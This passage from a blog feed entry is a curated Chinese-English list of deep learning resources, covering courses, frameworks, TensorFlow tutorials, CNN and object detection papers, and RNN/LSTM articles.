href="https://www.gitbook.com/book/mqshen/prml/details" target="_blank" rel="external">GitBook</a></li><li>[Course] <a href="https://cn.udacity.com/course/deep-learning--ud730/" target="_blank" rel="external"><strong>Deep Learning - Udacity</strong></a></li><li>[Course] <a href="https://www.coursera.org/learn/machine-learning" target="_blank" rel="external"><strong>Machine Learning by Andrew Ng - Coursera</strong></a> | <a href="http://www.jianshu.com/p/c68d0df13e0b" target="_blank" rel="external"><strong>课程资料整理</strong></a> @ <a href="http://www.jianshu.com/u/38cd2a8c425e" target="_blank" rel="external">zhwhong</a></li><li>[Course] <a href="http://cs231n.stanford.edu/" target="_blank" rel="external"><strong>Convolutional Neural Networks for Visual Recognition(CS231n)</strong></a> | <a href="http://www.jianshu.com/p/182baeb82c71" target="_blank" rel="external"><strong>课程资料整理</strong></a> @ <a href="http://www.jianshu.com/u/38cd2a8c425e" target="_blank" rel="external">zhwhong</a></li><li>[Course] <a href="http://cs224d.stanford.edu/" target="_blank" rel="external">Deep Learning for Natural Language Processing(CS224d)</a> | <a href="http://www.jianshu.com/p/062d2bbbef93" target="_blank" rel="external">课程资料整理</a> @ <a href="http://www.jianshu.com/u/38cd2a8c425e" target="_blank" rel="external">zhwhong</a></li><li>[View] <a href="https://github.com/aymericdamien/TopDeepLearning" target="_blank" rel="external">Top Deep Learning Projects on Github</a></li><li>[View] <a href="https://github.com/andrewt3000/DL4NLP/blob/master/README.md" target="_blank" rel="external">Deep Learning for NLP resources</a></li><li>[View] <a href="http://www.jianshu.com/p/6752a8845d01" target="_blank" rel="external">资源 | 深度学习资料大全：从基础到各种网络模型</a></li><li>[View] <a href="http://www.jianshu.com/nb/8413272" target="_blank" rel="external">Paper | DL相关论文中文翻译</a></li><li>[View] <a href="http://www.jianshu.com/p/80bd4d4c2992" target="_blank" rel="external">深度学习新星：GAN的基本原理、应用和走向</a></li><li>[View] <a href="http://www.jianshu.com/p/c20917a91472" target="_blank" rel="external">推荐 | 九本不容错过的深度学习和神经网络书籍</a></li><li>[View] <a href="https://github.com/memect/hao" target="_blank" rel="external">Github好东西传送门</a> –&gt; <a href="https://github.com/memect/hao/blob/master/awesome/deep-learning-introduction.md" target="_blank" rel="external">深度学习入门与综述资料</a></li></ul><h2 id="Frameworks"><a href="#Frameworks" class="headerlink" title="Frameworks"></a>Frameworks</h2><ul><li><a href="https://www.tensorflow.org/" target="_blank" rel="external">TensorFlow (by google)</a></li><li><a href="https://github.com/dmlc/mxnet" target="_blank" rel="external">MXNet</a></li><li><a href="http://torch.ch/" target="_blank" rel="external">Torch (by Facebook)</a></li><li>[Caffe (by UC Berkley)(<a href="http://caffe.berkeleyvision.org/" target="_blank" rel="external">http://caffe.berkeleyvision.org/</a>)</li><li>[Deeplearning4j(<a href="http://deeplearning4j.org/" target="_blank" rel="external">http://deeplearning4j.org</a>)</li><li>Brainstorm</li><li>Theano、Chainer、Marvin、Neon、ConvNetJS</li></ul><h2 id="TensorFlow"><a href="#TensorFlow" class="headerlink" title="TensorFlow"></a>TensorFlow</h2><ul><li>官方文档</li><li><a href="https://www.tensorflow.org/tutorials" target="_blank" rel="external">TensorFlow Tutorial</a></li><li><a href="http://wiki.jikexueyuan.com/project/tensorflow-zh/" target="_blank" rel="external">TensorFlow 官方文档中文版</a></li><li><a href="http://download.tensorflow.org/paper/whitepaper2015.pdf" target="_blank" rel="external">TensorFlow Whitepaper</a></li><li><a href="http://www.jianshu.com/p/65dc64e4c81f" target="_blank" rel="external">[译] TensorFlow白皮书</a></li><li>[API] <a href="https://www.tensorflow.org/versions/r0.8/api_docs/index.html" target="_blank" rel="external">API Document</a></li></ul><h2 id="入门教程"><a href="#入门教程" class="headerlink" title="入门教程"></a>入门教程</h2><ul><li>[教程] <a href="http://learningtensorflow.com/index.html" target="_blank" rel="external">Learning TensorFlow</a></li><li><a href="https://github.com/nlintz/TensorFlow-Tutorials" target="_blank" rel="external">TensorFlow-Tutorials @ github</a> (推荐)</li><li><a href="https://github.com/jtoy/awesome-tensorflow" target="_blank" rel="external">Awesome-TensorFlow</a> (推荐)</li><li><a href="https://github.com/aymericdamien/TensorFlow-Examples" target="_blank" rel="external">TensorFlow-Examples @ github</a></li><li><a href="https://github.com/pkmital/tensorflow_tutorials" target="_blank" rel="external">tensorflow_tutorials @ github</a></li></ul><h2 id="分布式教程"><a href="#分布式教程" class="headerlink" title="分布式教程"></a>分布式教程</h2><ul><li><a href="https://www.tensorflow.org/versions/r0.8/how_tos/distributed/index.html#distributed-tensorflow" target="_blank" rel="external">Distributed TensorFlow官方文档</a></li><li><a href="https://github.com/ischlag/distributed-tensorflow-example" target="_blank" rel="external">distributed-tensorflow-example @ github</a> (推荐)</li><li><a href="https://github.com/ashitani/DistributedTensorFlowSample" target="_blank" rel="external">DistributedTensorFlowSample @ github</a></li><li><a href="http://parameterserver.org/" target="_blank" rel="external">Parameter Server</a></li></ul><h2 id="Paper-Model"><a href="#Paper-Model" class="headerlink" title="Paper (Model)"></a>Paper (Model)</h2><h3 id="CNN-Nets"><a href="#CNN-Nets" class="headerlink" title="CNN Nets"></a>CNN Nets</h3><ul><li><a href="http://yann.lecun.com/exdb/lenet/" target="_blank" rel="external">LeNet</a></li><li><a href="http://www.cs.toronto.edu/~fritz/absps/imagenet.pdf" target="_blank" rel="external">AlexNet</a></li><li><a href="https://arxiv.org/abs/1312.6229v4" target="_blank" rel="external">OverFeat</a></li><li><a href="https://arxiv.org/abs/1312.4400v3" target="_blank" rel="external">NIN</a></li><li><a href="http://www.cs.unc.edu/~wliu/papers/GoogLeNet.pdf" target="_blank" rel="external">GoogLeNet</a></li><li><a href="https://arxiv.org/abs/1409.4842v1" target="_blank" rel="external">Inception-V1</a></li><li><a href="https://arxiv.org/abs/1502.03167" target="_blank" rel="external">Inception-V2</a></li><li><a href="http://arxiv.org/abs/1512.00567" target="_blank" rel="external">Inception-V3</a></li><li><a href="https://arxiv.org/abs/1602.07261" target="_blank" rel="external">Inception-V4</a></li><li><a href="http://arxiv.org/abs/1602.07261" target="_blank" rel="external">Inception-ResNet-v2</a></li><li><a href="https://arxiv.org/abs/1512.03385" target="_blank" rel="external">ResNet 50</a></li><li><a href="https://arxiv.org/abs/1512.03385" target="_blank" rel="external">ResNet 101</a></li><li><a href="https://arxiv.org/abs/1512.03385" target="_blank" rel="external">ResNet 152</a></li><li><a href="http://arxiv.org/abs/1409.1556.pdf" target="_blank" rel="external">VGG 16</a></li><li><a href="http://arxiv.org/abs/1409.1556.pdf" target="_blank" rel="external">VGG 19</a></li></ul><p><img src="http://upload-images.jianshu.io/upload_images/145616-131a561dcbe74aba.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p>(注：图片来自 <a href="https://github.com/tensorflow/models/tree/master/slim#Pretrained" target="_blank" rel="external">Github : TensorFlow-Slim image classification library</a>)</p><p>额外参考：</p><ul><li><a href="http://www.jianshu.com/p/6d441e208547" target="_blank" rel="external">[ILSVRC] 基于OverFeat的图像分类、定位、检测</a></li><li><a href="http://www.jianshu.com/p/7975f179ec49" target="_blank" rel="external">[卷积神经网络-进化史] 从LeNet到AlexNet</a></li><li><a href="http://www.jianshu.com/p/fe428f0b32c1" target="_blank" rel="external">[透析] 卷积神经网络CNN究竟是怎样一步一步工作的？</a></li><li><a href="http://www.jianshu.com/p/ba51f8c6e348" target="_blank" rel="external">GoogLenet中，1X1卷积核到底有什么作用呢？</a></li><li><a href="http://www.jianshu.com/p/408ab8177a53" target="_blank" rel="external">深度学习 — 反向传播(BP)理论推导</a></li><li><a href="https://zhuanlan.zhihu.com/p/22464594?refer=hsmyy" target="_blank" rel="external">无痛的机器学习第一季目录 - 知乎</a></li></ul><h3 id="Object-Detection"><a href="#Object-Detection" class="headerlink" title="Object Detection"></a>Object Detection</h3><ul><li><a href="https://arxiv.org/abs/1311.2524" target="_blank" rel="external">R-CNN</a></li><li><a href="https://arxiv.org/abs/1504.08083" target="_blank" rel="external">Fast R-CNN</a></li><li><a href="https://arxiv.org/abs/1506.01497v3" target="_blank" rel="external">Faster R-CNN</a></li><li><a href="https://arxiv.org/abs/1411.4038" target="_blank" rel="external">FCN</a></li><li><a href="https://arxiv.org/abs/1605.06409v2" target="_blank" rel="external">R-FCN</a></li><li><a href="https://arxiv.org/abs/1506.02640v5" target="_blank" rel="external">YOLO</a></li><li><a href="https://arxiv.org/abs/1512.02325" target="_blank" rel="external">SSD</a></li></ul><p>额外参考：</p><ul><li><a href="http://www.jianshu.com/p/067f6a989d31" target="_blank" rel="external">[Detection] CNN 之 “物体检测” 篇</a></li><li><a href="http://www.jianshu.com/p/7e52daaba512" target="_blank" rel="external">计算机视觉中 RNN 应用于目标检测</a></li><li><a href="http://www.jianshu.com/p/4ce0aba4e3c2" target="_blank" rel="external">Machine Learning 硬件投入调研</a></li></ul><h3 id="RNN-amp-LSTM"><a href="#RNN-amp-LSTM" class="headerlink" title="RNN &amp; LSTM"></a>RNN &amp; LSTM</h3><ul><li><a href="http://www.jianshu.com/p/c930d61e1f16" target="_blank" rel="external">[福利] 深入理解 RNNs &amp; LSTM 网络学习资料</a> @ <a href="http://www.jianshu.com/u/38cd2a8c425e" target="_blank" rel="external">zhwhong</a></li><li><a href="http://www.jianshu.com/p/2aca6e8ac7c8" target="_blank" rel="external">[RNN] Simple LSTM代码实现 &amp; BPTT理论推导</a> @ <a href="http://www.jianshu.com/u/38cd2a8c425e" target="_blank" rel="external">zhwhong</a></li><li><a href="http://www.jianshu.com/p/7e52daaba512" target="_blank" rel="external">计算机视觉中 RNN 应用于目标检测</a> @ <a href="http://www.jianshu.com/u/38cd2a8c425e" target="_blank" rel="external">zhwhong</a></li><li>[推荐] <a href="http://colah.github.io/posts/2015-08-Understanding-LSTMs/" target="_blank" rel="external"><strong>Understanding LSTM Networks</strong></a> @ <a href="http://colah.github.io/" target="_blank" rel="external">colah</a> | <a href="http://www.jianshu.com/p/9dc9f41f0b29" target="_blank" rel="external"><strong>理解LSTM网络</strong></a>[简书] @ <a href="http://www.jianshu.com/u/696dc6c6f01c" target="_blank" rel="external">Not_GOD</a></li><li><a href="http://karpathy.github.io/2015/05/21/rnn-effectiveness/" target="_blank" rel="external">The Unreasonable Effectiveness of Recurrent Neural Networks</a> @ <a href="http://cs.stanford.edu/people/karpathy/" target="_blank" rel="external">Andrej Karpathy</a></li><li><a href="http://deeplearning.net/tutorial/lstm.html" target="_blank" rel="external">LSTM Networks for Sentiment Analysis</a> (theano官网LSTM教程+代码)</li><li><a href="http://www.wildml.com/2015/09/recurrent-neural-networks-tutorial-part-1-introduction-to-rnns/" target="_blank" rel="external">Recurrent Neural Networks Tutorial</a> @ <a href="http://www.wildml.com/" target="_blank" rel="external">WILDML</a></li><li><a href="http://iamtrask.github.io/2015/11/15/anyone-can-code-lstm/" target="_blank" rel="external">Anyone Can Learn To Code an LSTM-RNN in Python (Part 1: RNN)</a> @ <a href="https://twitter.com/iamtrask" target="_blank" rel="external">iamtrask</a></li></ul><h2 id="Stanford-机器学习课程整理"><a href="#Stanford-机器学习课程整理" class="headerlink" title="Stanford 机器学习课程整理"></a>Stanford 机器学习课程整理</h2><ul><li><a href="http://www.jianshu.com/p/c68d0df13e0b" target="_blank" rel="external">[coursera 机器学习课程] Machine Learning by Andrew Ng</a> @ <a href="http://www.jianshu.com/u/38cd2a8c425e" target="_blank" rel="external">zhwhong</a></li><li><a href="http://www.jianshu.com/p/182baeb82c71" target="_blank" rel="external">[斯坦福CS231n课程整理] Convolutional Neural Networks for Visual Recognition（附翻译，下载）</a> @ <a href="http://www.jianshu.com/u/38cd2a8c425e" target="_blank" rel="external">zhwhong</a></li><li><a href="http://www.jianshu.com/p/062d2bbbef93" target="_blank" rel="external">[斯坦福CS224d课程整理] Natural Language Processing with Deep Learning</a> @ <a href="http://www.jianshu.com/u/38cd2a8c425e" target="_blank" rel="external">zhwhong</a></li><li><a href="http://www.jianshu.com/p/0a6ef31ff77a" target="_blank" rel="external">[斯坦福CS229课程整理] Machine Learning Autumn 2016</a> @ <a href="http://www.jianshu.com/u/38cd2a8c425e" target="_blank" rel="external">zhwhong</a></li></ul><hr><p>( 个人整理，未经允许禁止转载，授权转载请注明作者及出处，谢谢！)</p>]]></content>
    
    <summary type="html">
    
      本篇文章整理、归纳了自己学习Deep Learning方面的一些资料，包括GitHub Awesome，DL框架如TensorFlow，分布式教程，卷积神经网络CNN，物体检测Paper，循环神经网络RNN、LSTM等，以及斯坦福CS231n计算机视觉识别和Coursera Andrew Ng机器学习等相关课程整理。
    
    </summary>
    
      <category term="Machine Learning" scheme="http://zhwhong.cn/categories/Machine-Learning/"/>
    
    
      <category term="Deep Learning" scheme="http://zhwhong.cn/tags/Deep-Learning/"/>
    
      <category term="TensorFlow" scheme="http://zhwhong.cn/tags/TensorFlow/"/>
    
      <category term="CNN" scheme="http://zhwhong.cn/tags/CNN/"/>
    
      <category term="RNN" scheme="http://zhwhong.cn/tags/RNN/"/>
    
      <category term="LSTM" scheme="http://zhwhong.cn/tags/LSTM/"/>
    
      <category term="Object Detection" scheme="http://zhwhong.cn/tags/Object-Detection/"/>
    
  </entry>
  
</feed>
